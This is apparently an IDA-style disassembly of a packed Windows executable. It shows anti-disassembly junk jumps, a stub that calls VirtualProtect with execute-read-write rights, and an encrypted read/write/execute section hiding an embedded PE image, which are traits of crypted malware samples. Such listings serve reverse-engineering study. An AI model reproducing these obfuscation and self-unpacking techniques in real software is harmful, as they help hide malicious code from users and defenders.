--------------------------------------------------------------------------- loc_429C36: ; CODE XREF: DMN0:loc_429C30j xchg ebx, ebp xchg ebx, edx jmp short loc_429C4C ; --------------------------------------------------------------------------- dd 8BC15C3Ch, 2615BA1h, 0EEEDFC2Fh, 0B03ECA04h ; --------------------------------------------------------------------------- loc_429C4C: ; CODE XREF: DMN0:00429C3Aj jmp short loc_429C6B ; --------------------------------------------------------------------------- dw 622h dd 0C2ACEDC9h, 0E31A5692h, 9EE87F80h, 0CF1B9896h, 74CFA9E3h dd 0AB449395h db 0B9h, 0F1h, 0D0h ; --------------------------------------------------------------------------- loc_429C6B: ; CODE XREF: DMN0:loc_429C4Cj jmp short loc_429C81 ; --------------------------------------------------------------------------- db 0B4h, 0A7h, 74h dd 8AFDDD76h, 2534EB02h, 0DA202F02h, 0D157F94Ah db 0A9h ; --------------------------------------------------------------------------- loc_429C81: ; CODE XREF: DMN0:loc_429C6Bj jmp short loc_429C96 ; --------------------------------------------------------------------------- db 99h dd 0CD98011Dh, 519218C4h, 644FCA06h, 9CA995BEh db 0C7h, 0B2h ; --------------------------------------------------------------------------- loc_429C96: ; CODE XREF: DMN0:loc_429C81j jmp short loc_429CA3 ; --------------------------------------------------------------------------- dd 50772008h, 0DE445483h db 9Ah, 0, 22h ; --------------------------------------------------------------------------- loc_429CA3: ; CODE XREF: DMN0:loc_429C96j jmp short loc_429CA9 ; --------------------------------------------------------------------------- db 57h, 0DFh, 8Eh db 79h ; --------------------------------------------------------------------------- loc_429CA9: ; CODE XREF: DMN0:loc_429CA3j jmp short loc_429CC6 ; --------------------------------------------------------------------------- db 0EFh dd 62717B12h, 7FE73025h, 46B766CDh, 0CC0FBF2Ch, 0E2D7EB9Fh dd 6B95D7Fh db 0E1h, 96h ; --------------------------------------------------------------------------- loc_429CC6: ; CODE XREF: DMN0:loc_429CA9j jmp short loc_429CCA ; --------------------------------------------------------------------------- db 5Eh, 0C1h ; --------------------------------------------------------------------------- loc_429CCA: ; CODE XREF: DMN0:loc_429CC6j xchg esp, ebx jmp short loc_429CDF ; --------------------------------------------------------------------------- dw 8554h dd 855B313Dh, 0B8A08256h, 30E336E9h db 0, 0B2h, 0E1h ; --------------------------------------------------------------------------- loc_429CDF: ; CODE XREF: DMN0:00429CCCj add ebx, 2 sub edi, 60A6F7ADh cld shr edi, 8Ah jmp short loc_429CFF ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 89h dd 0EEB5487Bh, 0BBDD2F11h, 61B7FC01h db 9Fh, 22h, 58h ; --------------------------------------------------------------------------- loc_429CFF: ; CODE XREF: DMN0:00429CECj jmp short loc_429D04 ; --------------------------------------------------------------------------- db 0EFh, 95h, 0C2h ; --------------------------------------------------------------------------- loc_429D04: ; CODE XREF: DMN0:loc_429CFFj jmp short loc_429D0E ; --------------------------------------------------------------------------- dw 1ED9h dd 31CDF578h ; --------------------------------------------------------------------------- mov cl, 77h loc_429D0E: ; CODE XREF: DMN0:loc_429D04j jmp short loc_429D27 ; --------------------------------------------------------------------------- dd 8D556BECh, 12F6CE21h, 1F767528h, 4358C03Ch, 8A5E9BECh db 0A3h, 0D6h, 0EAh ; --------------------------------------------------------------------------- loc_429D27: ; CODE XREF: DMN0:loc_429D0Ej add ebx, 1 jmp short loc_429D2F ; --------------------------------------------------------------------------- pop eax jno short loc_429D36 loc_429D2F: ; CODE XREF: DMN0:00429D2Aj xchg esp, ebx xchg ebx, edi xchg esi, ecx cld loc_429D36: ; CODE XREF: DMN0:00429D2Dj stc jmp short loc_429D3D ; --------------------------------------------------------------------------- db 71h, 0EAh, 4Ah db 0C2h ; --------------------------------------------------------------------------- loc_429D3D: ; CODE XREF: DMN0:00429D37j jmp short loc_429D5C ; --------------------------------------------------------------------------- db 81h dd 9AA3E47Bh, 535E10F7h, 8103BD56h, 0FB7C0D63h, 9B06D0D1h dd 954EEB6Dh, 8AFD913Ch ; --------------------------------------------------------------------------- loc_429D5C: ; CODE XREF: DMN0:loc_429D3Dj jmp short loc_429D5F ; --------------------------------------------------------------------------- db 0BCh ; --------------------------------------------------------------------------- loc_429D5F: ; CODE XREF: DMN0:loc_429D5Cj jmp short loc_429D7C ; --------------------------------------------------------------------------- db 44h, 0CCh, 6 dd 9A57h, 0BCE62CE7h, 73FFE755h, 91BAA70Eh, 0F889DD26h dd 0EAD5BEB3h ; --------------------------------------------------------------------------- loc_429D7C: ; CODE XREF: DMN0:loc_429D5Fj xchg edi, ecx jmp short loc_429D9A ; --------------------------------------------------------------------------- dd 0BF232862h, 61FE6895h, 0B149DE5h, 4B20217Ah, 0EA3F9427h dd 0B4E6D1A4h db 35h, 11h ; --------------------------------------------------------------------------- loc_429D9A: ; CODE XREF: DMN0:00429D7Ej jmp short loc_429DB4 ; --------------------------------------------------------------------------- dd 867BAD0Eh, 0D9A42C92h, 0CA7B3331h, 17E63AA0h, 7F2CB0F7h dd 6D3DB020h ; --------------------------------------------------------------------------- loc_429DB4: ; CODE XREF: DMN0:loc_429D9Aj jmp short loc_429DBD ; --------------------------------------------------------------------------- dw 6825h dd 0CFA3C36Bh db 0B4h ; --------------------------------------------------------------------------- loc_429DBD: ; CODE XREF: DMN0:loc_429DB4j jmp short loc_429DD1 ; --------------------------------------------------------------------------- db 0D8h dd 5C575FEDh, 50D9FF7Ch, 190359E3h, 28BA83ABh ; --------------------------------------------------------------------------- inc ebx loc_429DD1: ; CODE XREF: DMN0:loc_429DBDj sub ebp, 1 jz short loc_429E23 dec edx xchg ebp, esp stc jmp short loc_429DF2 ; --------------------------------------------------------------------------- dd 0C094AEC1h, 0BE9CD4ECh, 49D7C000h, 5842F053h, 93AB4FCFh ; --------------------------------------------------------------------------- push ebx push edi loc_429DF2: ; CODE XREF: DMN0:00429DDAj jmp short loc_429DF9 ; --------------------------------------------------------------------------- dd 3C8034E8h db 22h ; --------------------------------------------------------------------------- loc_429DF9: ; CODE XREF: DMN0:loc_429DF2j xchg edx, esp clc xor edi, 9945EE68h jmp short loc_429E19 ; --------------------------------------------------------------------------- dd 239FBEA3h, 46BBF81Bh, 0E7CBD8B9h, 0D40CFC73h, 12E93F11h db 6Eh ; --------------------------------------------------------------------------- loc_429E19: ; CODE XREF: DMN0:00429E02j xchg eax, ecx clc xchg esp, esi jmp loc_4295D1 ; --------------------------------------------------------------------------- loc_429E23: ; CODE XREF: DMN0:00429DD4j xchg ebp, ecx xchg esp, esi jmp short loc_429E32 ; --------------------------------------------------------------------------- db 0D8h, 0FBh, 0CFh dd 0E60EA1B1h db 0A1h, 5Ch ; --------------------------------------------------------------------------- loc_429E32: ; CODE XREF: DMN0:00429E27j cld jmp short loc_429E4B ; --------------------------------------------------------------------------- jnp short loc_429E74 adc eax, 0AFA7F218h pop ecx push cs paddusb mm1, mm6 mov ds:0EBE94B41h, al mov edx, 2B270FB2h loc_429E4B: ; CODE XREF: DMN0:00429E33j jmp short loc_429E68 ; --------------------------------------------------------------------------- db 0B3h, 58h, 3Fh dd 0F574A20Fh, 926ECC21h, 0AEB74D39h, 0ACFD7C03h, 7E4FF7A2h dd 48DBE18Ch ; --------------------------------------------------------------------------- loc_429E68: ; CODE XREF: DMN0:loc_429E4Bj jmp short loc_429E83 ; --------------------------------------------------------------------------- dw 7CBDh dd 7C2FE221h, 0B18D2625h ; --------------------------------------------------------------------------- loc_429E74: ; CODE XREF: DMN0:00429E35j sub [edi-72h], ch clc or edx, [ebx] das cmp al, 6Dh ; CODE XREF: DMN0:loc_429E8Dj jz short loc_429E99 sbb ecx, eax aas inc ecx loc_429E83: ; CODE XREF: DMN0:loc_429E68j cmc jmp short loc_429E90 ; --------------------------------------------------------------------------- dw 0A688h dd 0A8252E3Bh db 0D2h ; --------------------------------------------------------------------------- loc_429E8D: ; CODE XREF: DMN0:00429EA7j jnz short near ptr loc_429E7B+1 xchg eax, edx loc_429E90: ; CODE XREF: DMN0:00429E84j jmp short loc_429EAB ; --------------------------------------------------------------------------- dw 0F0ADh ; --------------------------------------------------------------------------- and eax, 23D5A4AFh loc_429E99: ; CODE XREF: DMN0:00429E7Dj or [ebx-1], ebx push eax sub al, 0E5h rep mov dword ptr [ebx+11h], 32A5AE46h jecxz short loc_429E8D add ebp, edi loc_429EAB: ; CODE XREF: DMN0:loc_429E90j jmp short loc_429EBC ; --------------------------------------------------------------------------- db 0CDh, 0C2h, 0B5h dd 9ACA49D1h, 87736F27h, 7558B6D7h ; --------------------------------------------------------------------------- loc_429EBC: ; CODE XREF: DMN0:loc_429EABj jmp short $+2 jmp short loc_429ED7 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 6Ch, 0F5h, 10h dd 5D807297h, 2A33A381h, 9D557BFh, 4B741090h db 0A0h, 0F9h, 98h ; --------------------------------------------------------------------------- loc_429ED7: ; CODE XREF: DMN0:00429EBEj jmp short loc_429EED ; --------------------------------------------------------------------------- mov eax, 4294785Ch cmp ah, dl retn 0AEF2h ; --------------------------------------------------------------------------- db 83h dd 0B29C237Bh, 7328054Fh db 84h ; --------------------------------------------------------------------------- loc_429EED: ; CODE XREF: DMN0:loc_429ED7j stc jmp short loc_429EFD ; --------------------------------------------------------------------------- dd 0C711EDC5h, 0E3CDED92h, 95FF016Eh db 2 ; --------------------------------------------------------------------------- loc_429EFD: ; CODE XREF: DMN0:00429EEEj jmp short loc_429F0F ; --------------------------------------------------------------------------- db 80h db 90h db 9Eh, 0D4h, 0B9h dd 0F05B838Ch, 0FCCF7D53h db 46h, 6Ch, 3Bh ; --------------------------------------------------------------------------- loc_429F0F: ; CODE XREF: DMN0:loc_429EFDj pop edi jmp short loc_429F1D ; --------------------------------------------------------------------------- dw 1320h dd 0E56FC12Fh, 0BF4FC0Ch db 90h ; --------------------------------------------------------------------------- loc_429F1D: ; CODE XREF: DMN0:00429F10j cmc jmp short loc_429F2D ; --------------------------------------------------------------------------- dd 9036961Fh, 63487334h, 6D9BDF77h db 0A9h ; --------------------------------------------------------------------------- loc_429F2D: ; CODE XREF: DMN0:00429F1Ej jmp short loc_429F4A ; --------------------------------------------------------------------------- db 0E4h dd 0DCA57299h, 0E300B846h, 0ABE734Fh, 4EF378ECh, 0F2D0CC46h dd 306C92F1h db 73h, 7Fh ; --------------------------------------------------------------------------- loc_429F4A: ; CODE XREF: DMN0:loc_429F2Dj jmp short loc_429F6A ; --------------------------------------------------------------------------- dd 0B1A543ADh, 5D2E1A73h, 0B2817833h, 0EFD439D8h, 0FBA4FA98h dd 89966B27h, 0C4113030h db 18h, 4Dh ; --------------------------------------------------------------------------- loc_429F6A: ; CODE XREF: DMN0:loc_429F4Aj jmp short loc_429F82 ; --------------------------------------------------------------------------- dd 0DA5EBD67h, 3B194784h, 388FF712h, 0DD4AC1CCh, 0EC5F256h db 51h, 7Fh ; --------------------------------------------------------------------------- loc_429F82: ; CODE XREF: DMN0:loc_429F6Aj shl ebx, 19h jmp loc_428F6B ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429F8A proc near ; CODE XREF: DMN0:00429FF4p var_24 = dword ptr -24h var_18 = byte ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor edx, 391E7942h xor edx, 5FF57DEDh mov eax, 10000000h add edx, eax add esp, 10h mov ebp, [esp-10h+arg_4] push edx pusha push 0 lea edx, [esp+18h+var_18] push edx push 40h push 15B32h add [esp+24h+var_24], 1000h push eax add eax, 1000h add eax, 46023h call dword ptr [eax] add esp, 4 popa retn sub_429F8A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov ecx, 8000h mov edx, 4C271B38h mov eax, 383D2E0Bh loc_429FE4: ; CODE XREF: DMN0:00429FF1j add eax, 19776617h xor edx, eax add dx, ax rol edx, 7 loop loc_429FE4 push eax call sub_429F8A leave retn ; --------------------------------------------------------------------------- align 4 dd 17h dup(0) dd 78450001h, 72507469h, 7365636Fh, 10073h, 74726956h dd 506C6175h, 65746F72h, 7463h, 0E000470h, 470h, 6B000000h dd 656E7265h, 2E32336Ch, 6C6C64h, 2 dup(0) dd 0FFFFFFFFh, 4702Bh, 4701Fh, 5 dup(0) dd 46000h, 10h, 3B45h, 5BCFh dup(0) DMN0 ends ; Section 2. (virtual address 00041000) ; Virtual size : 0002C78F ( 182159.) ; Section size in file : 0002C78F ( 182159.) ; Offset to raw data for section: 00041000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute DMN1 segment para public 'CODE' use32 assume cs:DMN1 ;org 441000h assume es:nothing, ss:nothing, ds:DMN0, fs:nothing, gs:nothing dd 93CBF6DDh, 276F1CD5h, 0BB2385A5h, 0FD3697h, 88C18394h dd 0EF4DDDB0h, 0C8BE8910h, 47F66B8Eh, 30A43276h, 4475C33h dd 4944756Fh, 97F038Dh, 9E6C0F5Ah, 0FD130DB0h, 35A1E371h dd 4E595D05h, 62806DFEh, 0E7C23493h, 91DA6B2Ah, 3EEE541Bh dd 0BDA3806h, 42DC686Dh, 0F27AF8ADh, 7B48A652h, 2523584Fh dd 2FB077A2h, 83DF3F91h, 9F3A9268h, 27DBC16Fh, 0FE174DF5h dd 0F7DE82FBh, 0EF592A27h, 7A6CAA06h, 1AC9FA63h, 0B8AA6F9Eh dd 27DB2112h, 25611AA6h, 45FDC455h, 0B64ECBC8h, 2B06C168h dd 2163B632h, 6413F73Bh, 8EA2833Ah, 0BAD62756h, 0DF098326h dd 5285EF2Eh, 0C3B54490h, 19AD2044h, 70D2BFF6h, 0BB99F543h dd 2A617A2Fh, 88E1D128h, 0A4C39014h, 0CD7BE57Dh, 13B06ED6h dd 2BCB1844h, 3ED684EEh, 4E074D6Ah, 554CEDF0h, 0E434A38Ch dd 0D9A3EBA7h, 5880CA28h, 0AABF1721h, 36CF6336h, 0ECC3FF30h dd 0BE420942h, 0FAB2D8A1h, 60FE1E52h, 2431674Ch, 42C94B8Eh dd 94256F7Dh, 0D1D46FF0h, 0FEB76E5Eh, 72BE9695h, 5623F0DEh dd 1CA9F6Ch, 0A47CD68Ch, 632BE2E9h, 9E257E23h, 69B8807Eh dd 17B0AF62h, 8DF52E0h, 81F082F3h, 8CB17614h, 93FE36B4h dd 6915693Ch, 0C6B76A33h, 71226229h, 0F2A092B6h, 8823495Dh dd 0CE2AB694h, 426FCEBDh, 9104C3D2h, 1A619FDAh, 4FDC9008h dd 974B780Dh, 740BB5A5h, 0D658937h, 39BD298Ch, 0E2C5FAA2h dd 0CE569EC6h, 0AB60E90Bh, 73BC6A0Ch, 0CF5F014Fh, 0E6FBA0FCh dd 1BD02310h, 52D3147Fh, 0D313271Fh, 5C09019Ah, 25B3FAEBh dd 3BB3952Eh, 0B789807Bh, 0F920A25Eh, 0C95AC9AEh, 0C965E617h dd 8602993Bh, 6224A07Ch, 627C1875h, 0C7CB0378h, 0CCCB6EFh dd 15F37DBh, 93B9A1E2h, 7481B687h, 5524BBEDh, 463DEE1Ah dd 9E42205Ch, 9C542A3Dh, 6F7F3472h, 210D5D76h, 535B67EEh dd 65CFD8DBh, 0A01FF642h, 0BC3D16D7h, 0A155E6ABh, 0FD1BFE44h dd 6DDDBC04h, 4BB76F72h, 0CE2DC567h, 0A7CFB20Ah, 57FF3C10h dd 3A7F3FA8h, 80EB8AE0h, 23EBFA5Fh, 6180E328h, 0F1A09109h dd 0BE6D6CE0h, 0FC900467h, 730B0C07h, 3D1AA5E0h, 4EDECF9Ah dd 0A2464E5h, 0A970DEE0h, 93352C01h, 55C38709h, 0EC6560F4h dd 0DBDB9CA5h, 0B03CD4A0h, 5114FA1Dh, 0DED08E5Ah, 9BF81319h dd 0BB774861h, 0B791E7FEh, 396BE567h, 1942F060h, 261201EDh dd 88FE73A1h, 16DD1514h, 0F4525Ch, 91AB197h, 0D4BE539Dh dd 560BB41Eh, 2304C0E7h, 4EB8C20Dh, 12C5DC2Fh, 17449FDh dd 0AB5D35DAh, 11EB6F24h, 0E0DEB739h, 0E7C534AFh, 681A9090h dd 625B648Ah, 73E41361h, 0B54D610Fh, 0C8B26E69h, 14B02F5h dd 0B24CED47h, 0C3E247FEh, 5F443FF3h, 940164ABh, 2261BE5Bh dd 0BAD4C70Bh, 93240025h, 885C49ADh, 0E1CB12D7h, 9FFFDDD0h dd 953BADE2h, 915E9938h, 271F8393h, 0CAC4232Bh, 0E9DA4346h dd 737D48F9h, 321F2E6Fh, 0C1553493h, 0FA4EBDDEh, 0FD0BD4AAh dd 0BDC37087h, 8AC7CDBCh, 5B85D809h, 4016ADF3h, 3063F69Ch dd 0DE344A7Dh, 0DB4DEF8Eh, 0C427E8F0h, 0D743617Fh, 7BF843B1h dd 0CDB22585h, 0B9EF3795h, 3445BAFFh, 0D677402Ah, 0A688AF7Fh dd 0A2418658h, 8E3CDC7Eh, 33FEDA5Fh, 5D30BA44h, 0A2CDBC5Eh dd 16CA8540h, 0EE3E52F0h, 5BD277D1h, 0D4CC007Bh, 1D5C5C83h dd 0D9E43EB6h, 3888C649h, 0F4B601B8h, 45CE7768h, 92E25099h dd 1C7493D7h, 54ACD39Ch, 0EC4E2F5Dh, 25ACAC93h, 813A27B9h dd 0CD6FF4DFh, 1E31490Bh, 37730BB8h, 94209AC0h, 0D39A397Dh dd 3B2FD389h, 0E204ABC6h, 8E5558C0h, 0F0F6E154h, 419FCAA9h dd 709CE5DAh, 67871D70h, 8F32F9EDh, 0C6E4C03Ch, 0EC62FADEh dd 2FAFD8DBh, 88F4A92Dh, 0C2DCD6BDh, 2641D9Bh, 15566085h dd 0D0CC0725h, 2EC802EAh, 0B9D62292h, 0D79F40B9h, 0A2DB9878h dd 0F7CE1EB8h, 0DE3C3033h, 0DD698DC5h, 0CB05D7CBh, 2A3E9C7Ch dd 0E0C26FD2h, 5C5A3051h, 5A253158h, 0E00DE29Ah, 57FCA299h dd 50D37335h, 9ED6400Ah, 129DDB94h, 0C97F87E9h, 35A081CCh dd 0AAC9C457h, 0CF2F5DBEh, 4685165Ch, 39B2D4E8h, 48E348FEh dd 6EACBD41h, 0BC3E67FDh, 0E7001819h, 0A5BFFD41h, 958DA33Dh dd 8143324Ch, 5ED90B6Bh, 33F3A2BBh, 0A8322EBEh, 0D3BD3337h dd 0F231450Ah, 65B6E835h, 42467CCBh, 0D9256C90h, 0C223D64Fh dd 66A54449h, 628AF47Bh, 9FDCA534h, 2548D94Fh, 0CFEB4626h dd 48520FF4h, 2911940h, 86D61FE5h, 0BB41D739h, 37A12BF2h dd 8DE0C20Bh, 6556747Fh, 5B2409C4h, 5E524762h, 0EDD82FCAh dd 53A55C76h, 9DFD0DE6h, 2444AEF2h, 44A7C99Fh, 0BFEAAC5h dd 31E231B4h, 972EA85Fh, 5F094FCh, 7E2C55EEh, 0E81A60Dh dd 0FF77922Fh, 3D51369Ch, 0F6F87247h, 0FF532097h, 8655BB59h dd 0BD965E3Bh, 297DB5A4h, 0A2C64206h, 5BAC10B4h, 3BC5EC69h dd 1B736A64h, 695A5D6Ch, 886C015Bh, 0A3F02C79h, 0E480538Ah dd 0AE7ED472h, 0FBB5BE5h, 24C5C785h, 77444D09h, 5FBB395Dh dd 0B8C1E845h, 192755CAh, 0CCA2BEDEh, 8D659484h, 0AE11E270h dd 29546EB0h, 824CE1E4h, 5388E36h, 37062ECCh, 0FA1440CDh dd 0CD2BFA8Fh, 8B5D47DBh, 0E71A03E3h, 59B3683Ch, 5B29EBBBh dd 53CA14EAh, 1CE9CF88h, 7CC06CB0h, 76416C40h, 3AE00F03h dd 905FC726h, 81467585h, 78922AC4h, 0CA24CB4Dh, 0AFE030DBh dd 7EBB18EFh, 0F0F3338h, 0F203983Ch, 2AD0E79Eh, 672BEE23h dd 386AA7FBh, 0F25F642h, 92B1B546h, 0C1950DFAh, 8D40F6C1h dd 0F2728F48h, 51A541A2h, 6B69D6A0h, 0E5157686h, 0E48D02B7h dd 2D7B6C64h, 0D4BC83C9h, 5E97F8A6h, 0AA829ADEh, 724600A4h dd 0DA6BB583h, 0E92C2D5Bh, 7DA4543Fh, 98762F76h, 0B16FEE54h dd 1EF5A5C2h, 17B2C3DEh, 1E1A372Fh, 0A4E38CCEh, 7621FA49h dd 5F2E6883h, 4CCCC5h, 0E94FC658h, 2E8D588Eh, 0B0893983h dd 0C25D8505h, 44B9A0F1h, 0A382A041h, 234E62FBh, 0F64A186Dh dd 5AEB1FA9h, 13F11F9Ah, 91A1D3F9h, 1E5FF9F6h, 4948D7C3h dd 0D1C2ECA9h, 0D9661363h, 0B38AB38h, 3FA32FDEh, 0CD42B0DEh dd 47F982Fh, 0FF1ADB2Bh, 776C70E4h, 73F1ABFAh, 0E7FC87B1h dd 0E343449Ah, 0EB034FE7h, 446C979h, 293C72BEh, 878BD0A5h dd 194A4645h, 769F3564h, 71B68B9Bh, 0FFE7BD1Bh, 0ADC6BEBCh dd 1CB551C4h, 5ABFC77Dh, 377C9EA7h, 5C9FBE6h, 57421327h dd 0C86E8AFDh, 8D82FD99h, 916E5D9Bh, 74B47C60h, 6F89512Bh dd 0E91A32Ah, 6C47AAAAh, 0CC1A42D9h, 5C82EFC6h, 97914F3Bh dd 9DFC5287h, 686C1FDCh, 86791221h, 0CC2133Dh, 0AC39D89Fh dd 318DD515h, 4C1B0E32h, 0CA0313F5h, 5E767C1h, 0FF60AF31h dd 37F62D47h, 0AEA7996h, 0F17FC32h, 0CF133677h, 33A9838Bh dd 0A4C150B3h, 0CB977D32h, 33365782h, 1FCAE010h, 0B38BAE4Ch dd 0CC92A603h, 48D69A16h, 3D8E3589h, 3F05B0C3h, 40CAAA13h dd 0BB85856Eh, 97CBB2E6h, 91ED8750h, 0ED5F6550h, 3F57EFBCh dd 0D4DDC5DFh, 0DA85E623h, 3826BA3Fh, 0C900E7F0h, 641BAD35h dd 0E2BBB27Eh, 4ED8FA42h, 0BD17293Bh, 629122F5h, 4B1878C4h dd 746F239Dh, 0B8806C46h, 0C679B016h, 1A432D0Dh, 0DF18C760h dd 2758E2D9h, 0D9FF4B7Fh, 672570B2h, 0FBC04C81h, 38F3B87h dd 0C3493D34h, 0A6D9E5Ah, 0D40DD18Eh, 0A66C6E8Fh, 0CAE8F9h dd 774B6CB3h, 1DFBD74Fh, 0DCA3EDE0h, 884B2151h, 4F886A6Fh dd 0B52294Fh, 5A598DE8h dd 295F8CC4h, 0F58AB6AAh, 663EB6D2h, 66739747h, 3132AEA4h dd 0ABF0B0CCh, 0F31B13C1h, 83109989h, 2C2BED51h, 0A59C0A82h dd 13D700BFh, 58ED8410h, 8618136Eh, 4265BB8Ch, 9C960BFEh dd 3FD78DFEh, 0B63A66FBh, 0AAA1D947h, 956F7C13h, 13CD7247h dd 3A38F35Bh, 0F63436C9h, 70661519h, 0C2F39D4Bh, 0F7C6329Ah dd 82FCF26Ah, 1B09B4F6h, 74AB0329h, 0C1D301B6h, 92A99C8Eh dd 689300Ah, 0D614BF6h, 82B0BE99h, 90228D12h, 0A6411631h dd 1C999AF5h, 3CA5821Fh, 4B625464h, 840FF456h, 7172E1A5h dd 66A249A8h, 76280F09h, 0B412C3B5h, 35DA72A5h, 5B45970Bh dd 45CC3555h, 7714899Ah, 40C46BEEh, 86A54781h, 0CBABFBFh dd 9B94FB0Ah, 0A7F39D02h, 6D9DE81Bh, 8E14C68Eh, 0BFC87AE6h dd 0B8BBCC36h, 7F74BC2Ah, 4BF60A19h, 0A0AFE7D5h, 382A3809h dd 988B3FBh, 0F3B5B7A4h, 0BED2F31Dh, 0CDF8D46h, 6FFF98DBh dd 3569B457h, 0B8802639h, 0BF474D75h, 6F86EA35h, 58E7EF2Ah dd 0CB26469h, 8C47771Eh, 8C36083Dh, 26054F22h, 0E6B45ACAh dd 0ED2B5013h, 6440C091h, 0E0B240B0h, 0E1D48BAEh, 77AADF93h dd 527CD143h, 67FBDEABh, 0B807AAA7h, 3CF08173h, 59AC82B3h dd 3DB277FAh, 1CB4E6DDh, 91A73EAEh, 141D1BE2h, 2E526D04h dd 0D2F30E95h, 9A93B53Fh, 9FD92567h, 3847FF8Dh, 0F10AE6BEh dd 0F1D146E6h, 2D320BC5h, 0ECAB5789h, 0D4807F76h, 2D36423Ch dd 825C2F48h, 19C5024Dh, 25EDAD23h, 34C27EB3h, 8C5F5322h dd 0A33C0550h, 0B6EAE193h, 7625E3A6h, 2C4FA1Eh, 1AB49Ah dd 1FB9BB4Eh, 0FED04BBBh, 85CFCC29h, 8F3440F7h, 0CB99E9Eh dd 984480B5h, 0EDA95887h, 7D9C2E3Dh, 326EF470h, 0D792D1E5h dd 0BFF5D6ECh, 2DFCEA99h, 0FAD37D28h, 79571274h, 6024643Ch dd 0FF73037Eh, 4A725D8Fh, 526D4385h, 3FCB7A31h, 0F50FBF25h dd 0EDA464ECh, 0CD4CA9B4h, 0EE54DDE4h, 0D15BD434h, 3006C18Fh dd 0FB5DC12Fh, 9917F3FEh, 315BEC1Fh, 5A8F67ACh, 0F9F9F2DEh dd 12C4B3C7h, 5EC70910h, 1DD81BEBh, 0A86D753Ch, 0C6C68AC2h dd 3CAF6041h, 4F8AE94h, 99D8BDF7h, 6DBD1644h, 0EBFA059Dh dd 27E02C6Ch, 801EF98Dh, 49EF5E10h, 4E5B63B6h, 28EE7FEh dd 0F9EB7A82h, 0B9418C60h, 0E3F1F28Ch, 0FDBB828Ch, 6F5BC03h dd 0FB087D66h, 2299AC43h, 527A8339h, 87D2C7B2h, 538EF6F1h dd 0B766C529h, 0E6E34769h, 6CB57B3Dh, 0FC009854h, 62711B86h dd 0DE23F582h, 96EF1DDh, 3D82E8F6h, 9D866E3Bh, 0FF82CD77h dd 0EB1090D6h, 5086794Ah, 72B1A092h, 4C923227h, 496E8FFDh dd 0A114815Dh, 0EF45EAA3h, 0B636B505h, 0CCE8A403h, 0C47F5DB1h dd 181AEF81h, 0DEBC5D5h, 0C4F9D024h, 51AED849h, 0F99C2C4Bh dd 0F6FF0FD3h, 9A30525Dh, 0ED230ED4h, 7356AC87h, 0F2B22EABh dd 37158103h, 82780917h, 7B032DE5h, 0FED3B2EFh, 0DFE6339Ch dd 0B7B5DDBCh, 19CEC27Eh, 184479C4h, 0BA1A66DFh, 2619990Ah dd 52DCC0E7h, 5D6EB565h, 9D3B5749h, 0BA6E276Eh, 9F04574Dh dd 6AF12007h, 3C57F3C5h, 97B29E9Ah, 4546ECA2h, 7E25073Ch dd 9289FBEBh, 0E3BB21D6h, 8A025D37h, 8B099079h, 0A1E76326h dd 2E4F91CAh, 0B160F284h, 39738098h, 45C88A90h, 905A4D14h dd 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd offset dword_455000 dd 4014C00h, 501C800h, 47h, 0 dd 0F00E000h, 2010B01h, 0C60032h, 1B00000h, 0 dd 7AA000h, 100000h, 0E00000h, 40000000h, 100000h, 20000h dd 400h, 0 dd 400h, 0 dd 2B00000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 11A0C00h, 7800h, 1400000h, 160D000h, 12h dup(0) dd 11CC400h, 24000h, 6 dup(0) dd 65742E00h, 7478h, 0C42600h, 100000h, 0C60000h, 40000h dd 3 dup(0) dd 2000h, 64722E60h, 617461h, 21AC00h, 0E00000h, 220000h dd 0CA0000h, 3 dup(0) dd 4000h, 61642E40h, 6174h, 2A8C00h, 1100000h, 180000h dd 0EC0000h, 3 dup(0) dd 4000h, 73722EC0h, 6372h, 160D000h, 1400000h, 1620000h dd 1040000h, 3 dup(0) dd 4000h, 40h, 79h dup(0) db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_441F82 proc near ; CODE XREF: DMN1:00444FCEp ; DMN1:00445953p arg_0 = dword ptr 4 push ebx push esi mov ebx, [esp+8+arg_0] mov esi, [ebx] jmp short loc_441F94 ; --------------------------------------------------------------------------- loc_441F8C: ; CODE XREF: sub_441F82+14j call dword_411CC4 ; GetTickCount mov esi, eax loc_441F94: ; CODE XREF: sub_441F82+8j test esi, esi jz short loc_441F8C mov eax, esi mov edx, 41C64E6Dh mul edx lea esi, [eax+3039h] mov [ebx], esi cmp dword ptr [ebx], 0 jnz short loc_441FB0 inc dword ptr [ebx] loc_441FB0: ; CODE XREF: sub_441F82+2Aj mov eax, esi shr eax, 10h and eax, 7FFFh pop esi pop ebx retn sub_441F82 endp ; =============== S U B R O U T I N E ======================================= sub_441FBD proc near ; CODE XREF: sub_447672+20p push offset dword_41285C call dword_411CC8 ; InitializeCriticalSection retn sub_441FBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_441FC9 proc near ; CODE XREF: sub_4421AB+35p ; sub_442944+Bp ... arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push 1 mov eax, [ebp+arg_0] push eax call sub_447CC1 pop ecx pop ecx mov ebx, eax push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection mov eax, ebx pop ebx pop ebp retn sub_441FC9 endp ; =============== S U B R O U T I N E ======================================= sub_441FF7 proc near ; CODE XREF: sub_4421AB+1Fp ; sub_4429BC+Bp ... arg_0 = dword ptr 4 push offset dword_41285C call dword_411CCC ; RtlEnterCriticalSection push [esp+arg_0] call sub_448071 pop ecx push offset dword_41285C call dword_411CD0 ; RtlLeaveCriticalSection retn 